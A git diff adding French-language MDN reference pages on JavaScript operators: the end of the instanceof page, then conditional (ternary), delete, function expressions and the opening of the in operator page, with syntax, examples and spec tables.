+<p>Pour tester qu'un objet n'est pas une instance d'un constructeur donné, on pourra faire le test <code>!(monObj instanceof Constructor)</code>. Toutefois, attention à ne pas écrire <code>!monObj instanceof Constructor</code> car <code>!monObj</code> serait traité en priorité et on testerait donc <code>false instanceof Constructor</code> qui sera toujours faux.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators', 'Opérateurs relationnels')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.6', 'Opérateur instanceof')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.6', 'Opérateur instanceof')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.4.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.instanceof")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Opérateurs/L_opérateur_typeof","typeof")}}</li>
+ <li>{{jsxref("Symbol.hasInstance")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_conditionnel/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_conditionnel/index.html
new file mode 100644
index 0000000000..c2357f8e93
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_conditionnel/index.html
@@ -0,0 +1,152 @@
+---
+title: L'opérateur conditionnel
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_conditionnel
+tags:
+  - JavaScript
+  - Opérateur
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>opérateur (ternaire) conditionnel</strong> est le seul opérateur JavaScript qui comporte trois opérandes. Cet opérateur est fréquemment utilisé comme raccourci pour la déclaration de {{jsxref("Instructions/if...else")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>condition</em> ? <em>exprSiVrai</em> : <em>exprSiFaux</em> </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>condition</code></dt>
+ <dd>Une expression qui est évaluée en un booléen (<code>true</code> ou <code>false</code>).</dd>
+</dl>
+
+<dl>
+ <dt><code>exprSiVrai</code></dt>
+ <dd>Une expression qui est évaluée si la condition est équivalente à <code>true</code> (<em>truthy</em>)</dd>
+ <dt><code>exprSiFaux</code></dt>
+ <dd>Une expression qui est évaluée si la condition est équivalente à <code>false</code> (<em>falsy</em>).</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>SI <code>condition</code> vaut <code>true</code>, l'opérateur renverra la valeur d'<code>exprSiVrai;</code> dans le cas contraire, il renverra la valeur de <code>exprSiFaux</code>. Par exemple, on peut afficher un message différent en fonction d'une variable <code>estMembre</code> avec cette déclaration :</p>
+
+<pre class="brush: js">"Le prix est : " + (estMembre ? "15 €" : "30 €")
+</pre>
+
+<p>On peut également affecter des variables dont la valeur dépendra du test :</p>
+
+<pre class="brush: js">var elvisLives = Math.PI &gt; 4 ? "Yep" : "Nope";</pre>
+
+<p>On peut enchaîner plusieurs évaluations ternaires l'une à la suite de l'autre (cet opérateur se propage de la gauche vers la droite) :</p>
+
+<pre class="brush: js">var premierControle = false,
+    secondControle = false,
+    acces = premierControle ? "Accès refusé" : secondControle ? "Accès refusé" : "Accès autorisé";
+
+console.log(acces); // "Accès autorisé"</pre>
+
+<p>Il est également possible d'utiliser cet opérateur pour effectuer l'une ou l'autre expression selon le cas de figure qui se présente :</p>
+
+<pre class="brush: js">var stop = false, age = 16;
+
+age &gt; 18 ? location.assign("continue.html") : stop = true;
+</pre>
+
+<p>en utilisant l'{{jsxref("Opérateurs/L_opérateur_virgule","opérateur virgule")}}, on peut même y placer plusieurs instructions (attention toutefois à la lisibilité et à se demander si un {{jsxref("Instructions/if...else","if...else")}} n'est pas plus approprié).</p>
+
+<pre class="brush: js">var stop = false, age = 23;
+
+age &gt; 18 ? (
+    console.log("OK, accès autorisé."),
+    location.assign("continue.html")
+) : (
+    stop = true,
+    console.log("Accès refusé !")
+);
+</pre>
+
+<p>De la même façon, on peut effectuer plusieurs opérations, encadrées par des parenthèses, avant d'affecter le résultat de l'opérateur à une variable. Conformément à l'opérateur virgule, ce sera <strong><em>la dernière valeur qui sera affectée</em></strong>. Ici aussi, attention à la lisibilité du code relativement à un <code>if...else</code>.</p>
+
+<pre class="brush: js">var age = 16;
+
+var url = age &gt; 18 ? (
+    console.log("Accès autorisé."),
+    // console.log renvoie "undefined", mais cela importe peu car
+    // ce n'est pas le dernier élément de l'expression
+    "continue.html" // la valeur à affecter si âge &gt; 18
+) : (
+    console.log("Accès refusé !"),
+    // etc.
+    "stop.html" // la valeur à affecter si âge &lt;= 18
+);
+
+location.assign(url); // "stop.html"</pre>
+
+<h3 id="Utiliser_l'opérateur_ternaire_dans_la_valeur_de_retour">Utiliser l'opérateur ternaire dans la valeur de retour</h3>
+
+<p>On peut utiliser l'opérateur ternaire (voire une imbrication de celui-ci) pour remplacer certaines formulations avec <code>if...else</code> où <code>return</code> est la seule instruction utilisée :</p>
+
+<pre class="brush: js">var func1 = function( .. ) {
+  if (condition1) { return valeur1 }
+  else if (condition2) { return valeur2 }
+  else if (condition3) { return valeur3 }
+  else { return value4 }
+}
+
+var func2 = function( .. ) {
+  return condition1 ? valeur1
+       : condition2 ? valeur2
+       : condition3 ? valeur3
+       :              valeur4
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.12', 'The conditional operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale, implémentée avec JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.conditional")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'instruction {{jsxref("Instructions/if...else","if...else")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Le chaînage optionnel</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_delete/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_delete/index.html
new file mode 100644
index 0000000000..19a48f8649
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_delete/index.html
@@ -0,0 +1,305 @@
+---
+title: L'opérateur delete
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_delete
+tags:
+  - JavaScript
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/delete
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur <strong><code>delete</code></strong> permet de retirer une propriété d'un objet.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-deleteoperator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">delete <em>expression</em></pre>
+
+<p>où <em>expression</em> est évaluée comme une référence à une propriété :</p>
+
+<pre class="syntaxbox">delete <em>objet.propriete</em>
+delete <em>objet</em>['propriete']
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>objet</code></dt>
+ <dd>Le nom d'un objet ou une expression dont l'évaluation fournit un objet.</dd>
+ <dt><code>propriete</code></dt>
+ <dd>La propriété qu'on souhaite supprimer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> pour tous les cas sauf lorsque la propriété est une propriété <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty">propre</a> <a href="/fr/docs/Web/JavaScript/Reference/Erreurs/Cant_delete">non-configurable</a> auquel cas <code>false</code> est renvoyé en mode non-strict.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Cet opérateur lève une exception {{jsxref("TypeError")}} en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a> si la propriété est une propriété propre qui est non-configurable.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Contrairement à ce qu'on pourrait penser, l'opérateur <code>delete</code> n'a rien à voir avec une libération de mémoire directe. La gestion de la mémoire en JavaScript est réalisée de façon indirecte en tenant compte des références, <a href="/fr/docs/Web/JavaScript/Gestion_de_la_mémoire">voir cette page pour plus de détails</a>.</p>
+
+<p>L'opérateur <code><strong>delete</strong></code> permet de retirer une propriété donnée d'un objet. Lorsque la suppression se déroule sans problème, l'opération renvoie <code>true</code>, sinon c'est la valeur <code>false</code> qui est renvoyée. Voici quelques scénarios importants qui précisent ce comportement :</p>
+
+<ul>
+ <li>Si la propriété qu'on souhaite supprimer n'existe pas, <code>delete</code> n'aura aucun effet et l'opération renverra <code>true</code></li>
+ <li>Si une propriété du même nom existe sur la chaîne de prototypes, après la suppression, l'objet utilisera la propriété disponible sur la chaîne de prototypes. Autrement dit, <code>delete</code> n'a d'effet que sur les propriétés directement rattachées à un objet (les propriétés « propres »).</li>
+ <li>Toute propriété déclarée avec {{jsxref("Instructions/var","var")}} ne peut pas être supprimée de la portée globale ou de la portée d'une fonction.
+  <ul>
+   <li>Aussi, <code>delete</code> ne pourra supprimer des fonctions de la portée globale (que ce soit une définition de fonction ou une expression de fonction).</li>
+   <li>Les fonctions qui font partie d'un objet (à l'exception de la portée globale) peuvent être supprimées avec <code>delete</code>.</li>
+  </ul>
+ </li>
+ <li>Toute propriété déclarée avec {{jsxref("Instructions/let","let")}} ou {{jsxref("Instructions/const","const")}} ne peut être supprimée de la portée dans laquelle elles ont été créées.</li>
+ <li>Les propriétés non-configurable ne peuvent pas être retirées. Cela inclut les propriétés des objets natifs comme {{jsxref("Math")}}, {{jsxref("Array")}}, {{jsxref("Object")}} et les propriétés qui sont créées comme non-configurable grâce à la méthode {{jsxref("Object.defineProperty()")}}.</li>
+</ul>
+
+<p>Voici un fragment de code qui illustre certains cas :</p>
+
+<pre class="brush: js">var Employe = {
+  age: 28,
+  nom: 'abc',
+  designation: 'developpeur'
+}
+
+console.log(delete Employe.nom);  // renvoie true
+console.log(delete Employe.age);  // renvoie true
+
+// Lorsqu'on souhaite supprimer une propriété
+// inexistante, on obtient true
+console.log(delete Employe.salaire); // renvoie true
+</pre>
+
+<h3 id="Les_propriétés_non-configurables">Les propriétés non-configurables</h3>
+
+<p>Lorsqu'une propriété est marquée comme non-configurable, <code>delete</code> n'aura aucun effet et l'opération renverra <code>false</code>. En mode strict, cela déclenchera une exception <code>TypeError</code>.</p>
+
+<pre class="brush: js">var Employe = {};
+Object.defineProperty(Employe, 'nom', {configurable: false});
+
+console.log(delete Employe.nom);  // renvoie false
+</pre>
+
+<p>{{jsxref("Instructions/var","var")}} (ou <code>let</code> ou <code>const</code>) crée des propriétés non-configurables qui ne peuvent pas être supprimées via <code>delete</code> :</p>
+
+<pre class="brush: js">var autreNom = 'XYZ';
+
+// On peut accéder à la description de cette
+// propriété globale grâce à :
+Object.getOwnPropertyDescriptor(window, 'autreNom')
+
+/* Object {value: "XYZ",
+                  writable: true,
+                  enumerable: true,
+                  <strong>configurable: false</strong>}
+*/
+
+// On voit que "autreNom", ajouté avec var
+// est marquée comme "non-configurable"
+
+delete autreNom;   // renvoie false</pre>
+
+<p>En mode strict, cela aurait déclenché une exception.</p>
+
+<h3 id="Mode_strict_ou_non-strict">Mode strict ou non-strict ?</h3>
+
+<p>Lorsqu'on est en mode strict, si <code>delete</code> est utilisé sur une référence directe à une variable, un argument de fonction ou un nom de fonction, il déclenchera une exception {{jsxref("SyntaxError")}}<strong>.</strong></p>
+
+<p>Toute variable définie avec <code>var</code> est marquée comme non-configurable. Dans l'exemple qui suit, <code>salaire</code> est non-configurable et ne peut pas être supprimé. En mode non-strict, l'opération <code>delete</code> renverra <code>false</code>.</p>
+
+<pre class="brush: js">function Employe() {
+  delete salaire;
+  var salaire;
+}
+
+Employe();
+</pre>
+
+<p>Voyons comment ce code se comporte en mode strict : au lieu de renvoyer false, l'instruction lève une exception <code>SyntaxError</code>.</p>
+
+<pre class="brush: js">"use strict";
+
+function Employe() {
+  delete salaire;  // SyntaxError
+  var salaire;
+}
+
+// De même, tout accès direct à une fonction
+// avec delete lèvera une SyntaxError
+
+function DemoFunction() {
+  //du code
+}
+
+delete DemoFunction; // SyntaxError
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// on crée la propriété adminName sur la portée globale
+adminName = 'xyz';
+
+// on crée la propriété empCount sur la portée globale
+// On utilise var, elle est donc non-configurable
+var empCount = 43;
+
+EmployeeDetails = {
+  name: 'xyz',
+  age: 5,
+  designation: 'Developer'
+};
+
+// adminName est une propriété de la portée globale
+// qui peut être supprimée car configurable.
+delete adminName;       // renvoie true
+
+// En revanche empCount n'est pas configurable
+// car c'est var qui a été utilisée.
+delete empCount;        // renvoie false
+
+// delete peut être utilisé pour retirer des propriétés
+// d'objets
+delete EmployeeDetails.name; // renvoie true
+
+<strong>// </strong>Même lorsque la propriété n'existe pas,
+// l'opération renvoie "true"
+delete EmployeeDetails.salary; // renvoie true
+
+// delete n'a pas d'impact sur les propriétés
+// statiques natives
+delete Math.PI; // renvoie false
+
+// EmployeeDetails est une propriété de la portée globale
+// définie sans var, elle est donc configurable
+delete EmployeeDetails;   // renvoie true
+
+function f() {
+  var z = 44;
+
+  // delete n'a pas d'impact sur les noms
+  // des variables locales
+  delete z;     // returns false
+}
+</pre>
+
+<h3 id="delete_et_la_chaîne_de_prototypes"><code>delete</code> et la chaîne de prototypes</h3>
+
+<p>Dans l'exemple qui suit, on supprime une propriété directement rattachée à un objet (une propriété « propre ») alors qu'une propriété du même nom existe sur la chaîne de prototypes :</p>
+
+<pre class="brush: js">function Toto(){
+  this.truc = 10;
+}
+
+Toto.prototype.truc = 42;
+
+var toto = new Toto();
+
+// L'instruction suivante renvoie true,
+// après avoir effectivement supprimé
+// la propriété de l'objet toto
+delete toto.truc;
+
+// toto.truc est toujours disponible car
+// elle est disponible sur la chaîne de
+// prototypes
+console.log(toto.truc);
+
+// Ici on supprime la propriété du prototype
+delete Toto.prototype.truc;
+
+// On aura "undefined" dans la console
+// car l'objet n'hérite plus de cette propriété
+// qui a été supprimée
+console.log(toto.truc);</pre>
+
+<h3 id="Supprimer_les_éléments_dun_tableau">Supprimer les éléments d'un tableau</h3>
+
+<p>Lorsqu'on supprime un élément d'un tableau, la longueur du tableau n'est pas modifiée. Cela vaut également lorsqu'on supprime le dernier élément du tableau.</p>
+
+<p>Lorsqu'on utilise <code>delete</code> pour retirer un élément du tableau, cet élément n'est plus dans le tableau. Dans l'exemple suivant, on retire <code>arbres[3]</code> grâce à <code>delete</code>.</p>
+
+<pre class="brush: js">var arbres = ["cèdre","pin","chêne","érable","sapin"];
+delete arbres[3];
+if (3 in arbres) {
+    // Le code ici ne sera pas exécuté
+}</pre>
+
+<p>Si on veut conserver l'existence d'un élément du tableau avec une valeur indéfinie, on pourra affecter la valeur <code>undefined</code> à cet élément. Ainsi, contrairement à l'exemple précédent, en utilisant <code>undefined</code>, <code>arbres[3]</code> continue d'être présent :</p>
+
+<pre class="brush: js">var arbres = ["cèdre","pin","chêne","érable","sapin"];
+arbres[3] = undefined;
+if (3 in arbres) {
+  // Le code ici sera bien exécuté
+}</pre>
+
+<p>Si on souhaite plutôt retirer un élément du tableau en changeant le contenu du tableau, on pourra utiliser la méthode {{jsxref("Array.splice()")}}. Dans l'exemple qui suit, la valeur actuelle de <code>arbres[3]</code> est retirée du tableau grâce à <code>splice()</code> mais l'index suivant se décale et arbres[4] devient arbres[3] :</p>
+
+<pre class="brush: js">var arbres = ["cèdre","pin","chêne","érable","sapin"];
+if (3 in arbres) {
+ // Le code ici sera exécuté
+}
+arbres.splice(3, 1);
+console.log(arbres); // ["cèdre","pin","chêne","sapin"];
+if (3 in arbres) {
+ // Le code ici sera également exécuté
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-delete-operator', 'The delete Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-delete-operator', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.1', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.1', 'The delete Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémenté avec JavaScript 1.2.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.delete")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>Bien que l'ordre d'itération des objets soit laissé à l'implémentation selon le standard ECMAScript, il semblerait que la plupart des navigateurs utilise un ordre d'itération basé sur l'ordre d'ajout des propriétés (au moins pour les propriétés propres). Toutefois, pour Internet Explorer, lorsqu'on utilise <code>delete</code> sur une propriété puis qu'on redéfinit plus tard une propriété avec le même nom, l'ordre d'itération de cette propriété sera le même que précédemment (alors que dans les autres navigateurs, cette « nouvelle » propriété sera parcourue en dernier).</p>
+
+<p>Aussi, si on veut simuler un tableau associatif ordonné de façon transparente et pour plusieurs navigateurs, il faudra utiliser deux tableaux ou, mieux encore, un objet {{jsxref("Map")}} si celui-ci est disponible.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://perfectionkills.com/understanding-delete/">Une analyse de <code>delete</code> par Kangax, en anglais</a></li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+ <li>{{jsxref("Map.prototype.delete()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_function/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_function/index.html
new file mode 100644
index 0000000000..bff2848ad7
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_function/index.html
@@ -0,0 +1,163 @@
+---
+title: L'opérateur function
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_function
+tags:
+  - Function
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/function
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Le mot-clé <strong><code>function</code></strong> permet de définir une fonction à l'intérieur d'une expression.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est également possible de définir des fonctions grâce au constructeur <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Function">Function</a></code> et aux <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function">déclarations de fonction</a>.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-functionexpression.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">function [<em>nom</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>instructions</em>
+}</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>nom</code></dt>
+ <dd>Le nom de la fonction. Peut être omis, auquel cas on parlera d'une fonction <em>anonyme</em>.</dd>
+</dl>
+
+<dl>
+ <dt><code>paramN</code></dt>
+ <dd>Le nom d'un paramètre à passer à la fonction.</dd>
+</dl>
+
+<dl>
+ <dt><code>instructions</code></dt>
+ <dd>Les instructions constituant le corps de la fonction.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> À partir d'ES2015/ES6, on peut également former des expressions de fonction avec <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">des fonctions fléchées</a>.</p>
+</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Une expression de fonction est très similaire et a presque la même syntaxe qu'une déclaration de fonction (consultez la page sur l'instruction <a href="/fr/docs/Web/JavaScript/Reference/Instructions/function"><code>function</code></a> pour plus de détails). La différence principale entre une expression de fonction et une instruction est le nom de la fonction. En effet, pour les expressions, celui peut être omis (on parle alors d'une fonction <em>anonyme</em>). Consultez l'article <a href="/fr/docs/Web/JavaScript/Guide/Fonctions">Fonctions</a> pour des informations concernant les différences entre les instructions de fonctions et les expressions de fonctions. Une fonction peut être appelée <a href="/fr/docs/Glossaire/IIFE">immédiatement après sa définition (on parle alors de fonction invoquée immédiatement ou <em>IIFE</em> pour <em>Immediately Invoked Function Expression</em> en anglais)</a>.</p>
+
+<h3 id="Remontée_(hoisting)_des_expressions_de_fonction">Remontée (<em>hoisting</em>) des expressions de fonction</h3>
+
+<p>En JavaScript, les expressions de fonction ne sont pas remontées (à la différence des déclarations de fonction). Il est donc impossible d'utiliser les expressions de fonction avant leur définition :</p>
+
+<pre class="brush: js">nonRemontée(); // TypeError: nonRemontée is not a function
+
+var nonRemontée = function() {
+  console.log("truc");
+}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit définit une fonction anonyme et l'assigne à une variable <code>x</code>. La fonction renvoie le carré de son paramètre :</p>
+
+<pre class="brush: js">var x = function(y) {
+   return y * y;
+};
+</pre>
+
+<h3 id="Expression_nommée">Expression nommée</h3>
+
+<p>Si on souhaite faire référence à une fonction au sein du corps de la fonction, il faudra créer une expression de fonction nommée. Le nom sera alors local au corps de la fonction (portée). Cela permet entre autres d'éviter d'utiliser la propriété non-standard <code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments/callee">arguments.callee</a></code>.</p>
+
+<pre class="brush: js">var math = {
+  'factorielle': function factorielle(n) {
+    if (n &lt;= 1) {
+      return 1;
+    }
+    return n * factorielle(n - 1);
+  }
+};</pre>
+
+<p>La variable affectée à l'expression de fonction aura une propriété <code>name</code>. Ce nom n'est pas modifié si la variable est réaffectée. Si le nom de la fonction est absent, ce sera celui de la variable (nom « implicite »). Cela vaut également pour <a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">les fonctions fléchées</a> :</p>
+
+<pre class="brush: js">var toto = function() {};
+console.log(toto.name); // "toto"
+
+var toto2 = toto;
+console.log(toto2.name); // "toto"
+
+var truc = function machin() {}
+console.log(truc.name); // "machin"
+</pre>
+
+<h3 id="IIFE_pour_Immediately_Invoked_Function_Expression_ou_expression_de_fonction_immédiatement_appelée">IIFE pour <em>Immediately Invoked Function Expression</em> ou expression de fonction immédiatement appelée</h3>
+
+<p>On peut utiliser une expression de fonction pour créer une « IIFE », c'est-à-dire une expression de fonction qu'on appelle dès sa définition :</p>
+
+<pre class="brush: js">var a = "coucou";
+var b = "monde";
+
+// IIFE
+(function(x, y) {
+  console.log(x + " " + y);
+})(a, b);
+// coucou monde
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Définitions de fonction')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-13', 'Définitions de fonction')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-13', 'Définitions de fonction')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.5.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.function")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Fonctions", "Fonctions et portée des fonctions")}}</li>
+ <li>{{jsxref("Objets_globaux/Function","L'objet Function")}}</li>
+ <li>{{jsxref("Instructions/function", "Instruction function")}}</li>
+ <li>{{jsxref("Instructions/function*", "Instruction function*")}}</li>
+ <li>{{jsxref("Opérateurs/function*", "Expression function*")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es">Les fonctions fléchées</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/async_function">Les expressions de fonctions asynchrones (l'opérateur <code>async function</code>)</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Instructions/async_function">Les déclarations de fonctions asynchrones (l'instruction <code>async function</code>)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/l_opérateur_in/index.html b/files/fr/web/javascript/reference/opérateurs/l_opérateur_in/index.html
new file mode 100644
index 0000000000..53c02fb41c
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/l_opérateur_in/index.html
@@ -0,0 +1,145 @@
+---
+title: L'opérateur in
+slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_in
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>opérateur <code>in</code></strong> renvoie <code>true</code> si une propriété donnée appartient à l'objet donné (directement ou via sa chaîne de prototype).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-inoperator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>propriété</em> in <em>nomObjet</em>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
